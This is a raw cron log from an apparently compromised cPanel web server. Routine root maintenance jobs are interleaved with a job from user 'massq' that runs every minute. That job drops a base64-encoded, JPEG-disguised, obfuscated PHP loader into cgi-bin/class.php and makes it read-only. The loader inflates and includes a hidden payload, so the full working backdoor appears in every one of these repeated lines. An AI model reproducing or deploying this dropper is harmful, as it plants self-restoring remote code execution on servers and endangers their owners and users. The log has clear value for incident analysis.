Sep  4 19:39:01 server CROND[763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:39:01 server CROND[764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:39:01 server CROND[765]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 19:40:01 server CROND[1236]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 19:40:01 server CROND[1245]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:40:01 server CROND[1244]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 19:40:01 server CROND[1248]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:40:01 server CROND[1246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:40:01 server CROND[1249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:40:01 server CROND[1247]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 19:40:01 server CROND[1250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:41:01 server CROND[2239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:41:01 server CROND[2241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:41:01 server CROND[2240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:42:01 server CROND[2629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:42:01 server CROND[2631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:42:01 server CROND[2632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:42:01 server CROND[2630]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 19:43:01 server CROND[3054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:43:01 server CROND[3055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:43:01 server CROND[3056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:44:01 server CROND[3431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:44:01 server CROND[3432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:44:01 server CROND[3434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:45:01 server CROND[3843]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 19:45:01 server CROND[3852]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 19:45:01 server CROND[3849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:45:01 server CROND[3853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:45:01 server CROND[3851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 19:45:01 server CROND[3850]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:45:01 server CROND[3854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:46:01 server CROND[4695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:46:01 server CROND[4696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:46:01 server CROND[4697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:47:01 server CROND[5180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:47:01 server CROND[5181]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:47:01 server CROND[5182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:48:01 server CROND[5570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:48:01 server CROND[5572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:48:01 server CROND[5573]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:49:01 server CROND[5960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:49:01 server CROND[5962]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:49:01 server CROND[5961]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:50:01 server CROND[6356]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 19:50:01 server CROND[6358]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 19:50:01 server CROND[6361]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 19:50:01 server CROND[6363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 19:50:01 server CROND[6362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 19:50:01 server CROND[6365]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 19:50:01 server CROND[6367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 19:50:01 server CROND[6359]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
